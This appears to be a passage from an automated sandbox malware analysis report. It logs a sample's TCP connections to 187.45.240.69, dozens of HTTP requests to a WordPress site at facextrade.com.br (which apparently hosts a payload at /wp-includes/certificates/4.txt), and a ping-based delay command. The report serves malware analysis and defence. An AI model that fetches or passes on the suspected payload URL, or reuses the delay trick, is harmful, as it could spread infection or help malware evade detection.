Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80

Networking

barindex
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: Joe Sandbox ViewJA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox ViewIP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox ViewIP Address: 187.45.240.69 187.45.240.69
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
